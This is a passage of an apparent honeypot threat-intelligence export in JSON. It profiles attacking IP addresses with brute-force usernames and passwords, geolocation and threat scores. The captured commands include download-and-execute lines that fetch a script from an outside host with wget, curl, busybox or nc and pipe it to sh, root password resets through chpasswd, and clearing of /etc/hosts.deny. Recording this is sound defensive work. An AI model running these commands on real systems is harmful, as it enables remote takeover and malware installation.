        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\neHKUrS5hBb9I\\neHKUrS5hBb9I\\n\"|passwd",
        "echo \"root:1VeIJUl6uwmJ\"|chpasswd|bash",
        "echo \"root:LsrpQDmsdpHD\"|chpasswd|bash",
        "echo \"root:ikRpEajNRYpj\"|chpasswd|bash",
        "echo \"root:uRBABEunrRyt\"|chpasswd|bash",
        "echo -e \"12345678\\neHKUrS5hBb9I\\neHKUrS5hBb9I\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 9891,
      "as_org": "CS LOXINFO Public Company Limited.",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 605,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:59:46.077000+00:00",
        "last_seen_30d": "2026-03-17T01:01:55.424000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 506,
        "Suricata": 99
      }
    },
    "104.248.253.231": {
      "attack_count": 488,
      "first_seen": "2026-03-03T13:53:29.031Z",
      "last_seen": "2026-03-03T14:57:03.656Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator",
        "guest",
        "oracle",
        "pi",
        "postgres",
        "root",
        "test",
        "ubuntu",
        "user",
        "ftpuser"
      ],
      "passwords_attempted": [
        "1234",
        "1234567890",
        "admin123",
        "password1",
        "123",
        "123abc",
        "1q2w3e4r",
        "pass123",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 692,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T13:53:29.031000+00:00",
        "last_seen_30d": "2026-03-03T14:58:06.593000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 488,
        "Suricata": 204
      }
    },
    "154.217.235.45": {
      "attack_count": 452,
      "first_seen": "2026-03-04T18:13:20.157Z",
      "last_seen": "2026-03-10T23:46:41.457Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sky",
        "ys",
        "azureuser",
        "clawd",
        "site2030",
        "tmp",
        "umar",
        "vagrant",
        "webappuser",
        "webmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1",
        "123456Qw",
        "123qweQWE@",
        "1qaz2wsx",
        "ASDzxc123456",
        "Asdf123456789",
        "Bingo@1993",
        "Centos2024",
        "Pass",
        "Py123456",
        "Umar123!",
        "Webappuser123!",
        "Webmin123!",
        "azureuser",
        "blackbird",
        "password",
        "qwe123@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:7JOQYOsNkMUK\"|chpasswd|bash",
        "echo \"root:o6MFaCZd9Mro\"|chpasswd|bash",
        "echo \"root:u5eOv8CAn3pK\"|chpasswd|bash",
        "echo \"skypass\\npDiWloZP3Ds5\\npDiWloZP3Ds5\\n\"|passwd",
        "echo \"yspass\\nb1of6bVa47HZ\\nb1of6bVa47HZ\\n\"|passwd",
        "echo -e \"skypass\\npDiWloZP3Ds5\\npDiWloZP3Ds5\"|passwd|bash",
        "echo -e \"yspass\\nb1of6bVa47HZ\\nb1of6bVa47HZ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 400619,
      "as_org": "AROSSCLOUD INC.",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.2,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 525,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T18:13:20.157000+00:00",
        "last_seen_30d": "2026-03-10T23:47:44.979000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 452,
        "Suricata": 73
      }
    },
    "103.67.78.201": {
      "attack_count": 450,
      "first_seen": "2026-03-15T18:22:53.557Z",
      "last_seen": "2026-03-21T04:21:40.291Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "evan",
        "jitendra",
        "www",
        "7days",
        "admin",
        "andres",
        "arun",
        "bodega",
        "ceshi",
        "control",
        "devops",
        "fleek",
        "joao",
        "localhost",
        "mcserver",
        "pivpn",
        "portal",
        "project"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "12345678",
        "1234QWER",
        "123qwe!@",
        "1qaz",
        "1qaz2wsx@123",
        "7days123!",
        "Aa12345678@",
        "Aa123456~",
        "Evan123",
        "Joao123",
        "Tms123",
        "Toto123",
        "Ts1123",
        "Vps@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\n96RQL83VQTVg\\n96RQL83VQTVg\\n\"|passwd",
        "echo \"Evan123\\nS1IO8rN0X75c\\nS1IO8rN0X75c\\n\"|passwd",
        "echo \"root:W56bDWsTRsIe\"|chpasswd|bash",
        "echo \"www1234\\n9F4SipUPIPyW\\n9F4SipUPIPyW\\n\"|passwd",
        "echo -e \"12345\\n96RQL83VQTVg\\n96RQL83VQTVg\"|passwd|bash",
        "echo -e \"Evan123\\nS1IO8rN0X75c\\nS1IO8rN0X75c\"|passwd|bash",
        "echo -e \"www1234\\n9F4SipUPIPyW\\n9F4SipUPIPyW\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 549,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T18:22:53.557000+00:00",
        "last_seen_30d": "2026-03-21T04:22:49.832000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 99
      }
    },
    "171.231.179.39": {
      "attack_count": 437,
      "first_seen": "2026-03-16T14:43:17.719Z",
      "last_seen": "2026-03-16T15:09:50.655Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ubnt",
        "cisco",
        "monitor",
        "test",
        "user",
        "1234",
        "anton",
        "backup",
        "btf",
        "cf1c22",
        "config",
        "demo",
        "dubai",
        "ftp",
        "guest1",
        "help",
        "installer",
        "jay"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "0l0ctyQh243O63uD",
        "12345",
        "039715582364317",
        "1",
        "1111",
        "111111",
        "112233",
        "123",
        "123456789",
        "321start",
        "91482d",
        "?",
        "@",
        "P@ssw0rd",
        "admin",
        "admin1",
        "admin@123",
        "aerohive"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 21.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 622,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:43:17.719000+00:00",
        "last_seen_30d": "2026-03-16T15:10:58.392000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 185
      }
    },
    "176.116.18.208": {
      "attack_count": 436,
      "first_seen": "2026-03-10T08:02:13.146Z",
      "last_seen": "2026-03-13T23:59:44.805Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "arthur",
        "karim",
        "lucas",
        "root",
        "andy",
        "asdf",
        "bhavesh",
        "carlo",
        "casa",
        "cockpit",
        "desktop",
        "docker",
        "harry",
        "jenkins",
        "kubernetes",
        "lq",
        "maks",
        "mobiquity"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "1234",
        "password",
        "123456",
        "12345678",
        "Ab-123456",
        "Bhavesh123!",
        "Cockpit123",
        "Desktop123!",
        "Jenkins123",
        "Lucas123",
        "Password",
        "Salman123!",
        "Vncuser123!",
        "admin@123",
        "andy123",
        "casa123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\njFaYRBk9u73Z\\njFaYRBk9u73Z\\n\"|passwd",
        "echo \"12345\\naKaFZ0Zy0rBQ\\naKaFZ0Zy0rBQ\\n\"|passwd",
        "echo \"Lucas123\\n55UU9IlzRCpG\\n55UU9IlzRCpG\\n\"|passwd",
        "echo \"password\\ndaTGcBm1rXaI\\ndaTGcBm1rXaI\\n\"|passwd",
        "echo -e \"123456\\njFaYRBk9u73Z\\njFaYRBk9u73Z\"|passwd|bash",
        "echo -e \"12345\\naKaFZ0Zy0rBQ\\naKaFZ0Zy0rBQ\"|passwd|bash",
        "echo -e \"Lucas123\\n55UU9IlzRCpG\\n55UU9IlzRCpG\"|passwd|bash",
        "echo -e \"password\\ndaTGcBm1rXaI\\ndaTGcBm1rXaI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Offenbach",
      "asn": 44486,
      "as_org": "SYNLINQ",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 531,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T08:02:13.146000+00:00",
        "last_seen_30d": "2026-03-14T00:00:52.109000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 436,
        "Suricata": 95
      }
    },
    "45.205.1.8": {
      "attack_count": 384,
      "first_seen": "2026-03-23T12:13:46.775Z",
      "last_seen": "2026-03-28T02:48:27.652Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "wget",
        "admin"
      ],
      "passwords_attempted": [
        "tftp",
        "root",
        "",
        "12345",
        "admin",
        "jvbzd"
      ],
      "commands_executed": [
        "cd / ;( wget -qO- http://196.251.107.133/bins/sin.sh | sh) &",
        "cd /tmp;nohup sh -c 'wget -qO- http://196.251.107.133/bins/sin.sh|sh' </dev/null 2>/dev/null &",
        "wget -qO- http://196.251.107.133/bins/sin.sh",
        "cd /dev/shm;wget -qO- http://196.251.107.133/bins/sin.sh|sh &",
        "cd /tmp ;( busybox wget -qO- http://196.251.107.133/bins/sin.sh | sh) &",
        "cd /tmp;(busybox wget -qO- http://196.251.107.133/bins/sin.sh|sh)&",
        "cd /tmp;(wget -qO- http://196.251.107.133/bins/sin.sh||busybox wget -qO- http://196.251.107.133/bins/sin.sh||curl -s http://196.251.107.133/bins/sin.sh)|sh &",
        "cd /tmp;busybox curl -L http://196.251.107.133/bins/sin.sh|sh &",
        "cd /tmp;busybox wget -O s http://196.251.107.133/bins/sin.sh;chmod 777 s;sh s &",
        "cd /tmp;busybox wget -qO- http://196.251.107.133/bins/sin.sh|sh &",
        "cd /tmp;curl -fsSL http://196.251.107.133/bins/sin.sh|sh &",
        "cd /tmp;curl -sL -o s http://196.251.107.133/bins/sin.sh;sh s &",
        "cd /tmp;nc 196.251.107.133 3345 >s;chmod +x s;sh s &",
        "cd /tmp;wget -O s http://196.251.107.133/bins/sin.sh;chmod +x s;sh s &",
        "cd /tmp;wget -O s http://196.251.107.133/bins/sin.sh;chmod 777 s;sh s &",
        "cd /tmp;wget -O- http://196.251.107.133/bins/sin.sh|sh &",
        "cd /tmp||cd /var/run||cd /var/tmp||cd /mnt||cd /root||cd /;(wget -qO- http://196.251.107.133/bins/sin.sh|sh)&",
        "cd /tmp||cd /var/tmp||cd /dev/shm||cd /;(wget -qO- http://196.251.107.133/bins/sin.sh|sh)&",
        "cd /var/run;wget -qO- http://196.251.107.133/bins/sin.sh|sh &",
        "cd /var/tmp;wget -qO- http://196.251.107.133/bins/sin.sh|sh &",
        "curl -L http://196.251.107.133/bins/sin.sh",
        "curl: option -L not recognized\ncurl: try 'curl --help' or 'curl --manual' for more information\n",
        "curl: option -L not recognized curl: try curl --help or curl --manual for more information",
        "curl: option -f not recognized\ncurl: try 'curl --help' or 'curl --manual' for more information\n",
        "curl: option -f not recognized curl: try curl --help or curl --manual for more information",
        "ifconfig",
        "wget -O s http://196.251.107.133/bins/sin.sh",
        "tftp",
        "wget"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.file_download",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.success",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1969,
        "days_active_30d": 27,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-04T22:04:18.034000+00:00",
        "last_seen_30d": "2026-03-30T08:50:56.188000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1236,
        "Cowrie": 384,
        "H0neytr4p": 286,
        "Honeytrap": 52,
        "Adbhoney": 10,
        "Tanner": 1
      }
    },
    "170.64.239.101": {
      "attack_count": 365,
      "first_seen": "2026-03-14T18:25:11.953Z",
      "last_seen": "2026-03-14T18:36:36.949Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "alex",
        "ali",
        "a",
        "aaa",
        "abc",
        "administrator",
        "ams",
        "andrea",
        "andrew",
        "0000",
        "123456",
        "a1",
        "a1marion",
        "aa",
        "abdi",
        "abdulla",
        "abuse",
        "ace",
        "adam"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "admin123",
        "1234",
        "12345678",
        "P@ssw0rd",
        "0000",
        "111",
        "1234567",
        "4dm1n",
        "Admin1234",
        "a",
        "a1",
        "aa",
        "aaa",
        "abc",
        "abdi",
        "abdulla",
        "abuse",
        "ace"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 515,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T18:25:11.953000+00:00",
        "last_seen_30d": "2026-03-14T18:46:43.134000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 365,
        "Suricata": 150
      }
    },
    "171.243.149.82": {
      "attack_count": 341,
      "first_seen": "2026-03-30T13:04:35.520Z",
      "last_seen": "2026-03-30T13:31:49.334Z",
      "sessions": 68,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "anton",
        "auto",
        "btf",
        "carol",
        "cisco",
        "config",
        "db2inst2",
        "demo",
        "ftp",
        "ftpuser",
        "guest",
        "guest1",
        "help",
        "helpdesk",
        "installer",
        "joro",
        "master"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "admin123",
        "password",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1111",
        "321start",
        "abc123",
        "abcdefg",
        "admin",
        "admin01",
        "admin@123",
        "aerohive",
        "alpine",
        "andrew",
        "anton",
        "asteriskftp",
        "calvin",
        "carol"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "B\u1ea3o L\u1ed9c",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 40.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 488,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T13:04:35.520000+00:00",
        "last_seen_30d": "2026-03-30T13:32:56.798000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 341,
        "Suricata": 147
      }
    },
    "103.143.11.150": {
      "attack_count": 330,
      "first_seen": "2026-03-12T08:33:11.116Z",
      "last_seen": "2026-03-12T08:56:20.421Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ks",
        "n8n",
        "personal",
        "root",
        "alumno",
        "cs",
        "mailuser",
        "syncuser",
        "test",
        "user10",
        "vendas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "Ctyun@2026",
        "alumnopass",
        "cs123",
        "ks123",
        "n8n",
        "personal2025",
        "test12345678",
        "user10123",
        "vendas123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ks123\\nYQ4PNZ6KM67D\\nYQ4PNZ6KM67D\\n\"|passwd",
        "echo \"n8n\\nk5GINKtC6NNU\\nk5GINKtC6NNU\\n\"|passwd",
        "echo \"personal2025\\ndLw61ifhG183\\ndLw61ifhG183\\n\"|passwd",
        "echo \"root:u0UDpiG6fSZZ\"|chpasswd|bash",
        "echo -e \"ks123\\nYQ4PNZ6KM67D\\nYQ4PNZ6KM67D\"|passwd|bash",
        "echo -e \"n8n\\nk5GINKtC6NNU\\nk5GINKtC6NNU\"|passwd|bash",
        "echo -e \"personal2025\\ndLw61ifhG183\\ndLw61ifhG183\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 373,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T08:33:11.116000+00:00",
        "last_seen_30d": "2026-03-12T08:57:29.838000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 43
      }
    },
    "197.211.55.20": {
      "attack_count": 307,
      "first_seen": "2026-03-09T01:43:31.781Z",
      "last_seen": "2026-03-23T11:26:39.347Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "debian",
        "julian",
        "syh",
        "zhangjh",
        "abdul",
        "administrator",
        "bodega",
        "crawl",
        "erpnext",
        "guest",
        "james",
        "mata",
        "scraper",
        "sm",
        "supermicro",
        "victor"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "123456aA@",
        "Julian123",
        "Temp1234",
        "Welcome@2024",
        "crawl123!",
        "debian",
        "debianpass",
        "erpnext",
        "guest01",
        "james",
        "mata1234",
        "scraper",
        "sm",
        "supermicro123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nNIpUjtpUlKS7\\nNIpUjtpUlKS7\\n\"|passwd",
        "echo \"123\\nmPhzzIXZvsBA\\nmPhzzIXZvsBA\\n\"|passwd",
        "echo \"Julian123\\nUZh59Dk5Q9Td\\nUZh59Dk5Q9Td\\n\"|passwd",
        "echo -e \"123456\\nNIpUjtpUlKS7\\nNIpUjtpUlKS7\"|passwd|bash",
        "echo -e \"123\\nmPhzzIXZvsBA\\nmPhzzIXZvsBA\"|passwd|bash",
        "echo -e \"Julian123\\nUZh59Dk5Q9Td\\nUZh59Dk5Q9Td\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 37148,
      "as_org": "globacom-as",
      "threat_score": 68.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.5,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 445,
        "days_active_30d": 25,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T12:24:46+00:00",
        "last_seen_30d": "2026-03-26T06:49:09.980000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 99,
        "Honeytrap": 39
      }
    },
    "103.172.205.139": {
      "attack_count": 304,
      "first_seen": "2026-03-29T04:07:22.830Z",
      "last_seen": "2026-03-29T05:42:43.754Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456Ll",
        "1Qaz@wsx",
        "Abc12345678.",
        "Password45",
        "Qf123456",
        "Qwerty@123",
        "aa@123123",
        "asd12345678",
        "common",
        "game",
        "m4st3r",
        "manu123",
        "p@sSw0rd",
        "p@ssw0rd!@#",
        "passwordaa!@#$%^",
        "ps@123456",
        "qwe123456.",
        "ruijie@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
